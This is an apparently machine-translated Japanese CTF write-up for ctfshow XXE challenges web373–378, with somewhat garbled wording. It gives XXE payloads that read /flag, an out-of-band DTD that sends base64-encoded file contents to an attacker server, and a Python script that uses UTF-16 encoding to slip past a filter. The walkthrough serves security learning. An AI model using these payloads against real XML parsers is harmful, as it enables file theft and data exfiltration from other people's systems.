記事ディレクトリ
web373
XXE(XML外部エンティティインジェクション)は、XML外部エンティティインジェクションの略です。挿入されたXML外部エンティティ
参考記事:この記事では、脆弱性のXXE脆弱性について深く理解しています。
libxml_disable_entity_loader(false);
:外部エンティティの読み込みを無効にします。エンティティは、アンパサンド(&)、エンティティ名、およびセミコロン(;)の3つの部分で構成されます。
旗は旗にあります
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<mumuzi>
<ctfshow>&cmd;</ctfshow>
</mumuzi>
web374-376
373との違いは、echo $ ctfshowがないことです。つまり、echoがありません。
エコーがないので、VPSにそれを持ってくる方法を見つけることしかできません。
次の質問は、xmlヘッダーを除外します。ここでは、シェルをバウンスするためにdtdファイルがvpsに作成されます。
#test.dtd
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://xxx:10086/%file;'> ">
%dtd;
%xxe;
ポート10086でリッスン
次に、POSTパケットをvpsで受信できます
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>1</root>
実際、ここでは長い間スタックしていました.4つのvpsのうち、1つはセキュリティグループを常に閉じていて(2つの共通ポートのみが開いていました)、1つはPHP環境がなく、もう1つはStreamlitによって占有されていました。インストールされたばかりのPHP環境。しびれる
web377
方法は上記と同じですが、httpをフィルタリングするにはエンコーディングバイパスが必要です。
import requests
url = 'http://b70f356b-ab20-4df6-b661-d7827322fc80.challenge.ctf.show/'
data = '''<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://101.35.244.30/test.dtd">
%aaa;
]>
<root>1</root>'''
r = requests.post(url=url,data=data.encode('utf-16'))
web378
Intuit標準XXE
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<user><username>&cmd;</username>
</user>